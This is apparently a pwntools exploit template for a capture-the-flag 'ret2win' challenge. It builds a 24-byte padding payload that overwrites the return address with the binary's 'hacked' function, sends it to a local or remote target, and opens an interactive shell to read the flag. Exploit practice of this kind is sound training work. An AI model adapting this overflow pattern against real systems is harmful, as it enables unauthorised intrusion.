Pwntools CryptoCat Template

from pwn import *
 
 
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)
 
 
# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
 
 
# Set up pwntools for the correct architecture
exe = './ret2win'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'
 
# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================
 
io = start()
 
# How many bytes to the instruction pointer (EIP)?
padding = 24
 
payload = flat(
    b'A' * 24,
    elf.functions.hacked  # 0x401142
)
 
# Save the payload to file
write('payload', payload)
 
# Send the payload
io.sendlineafter(b':', payload)
 
# Receive the flag
io.interactive()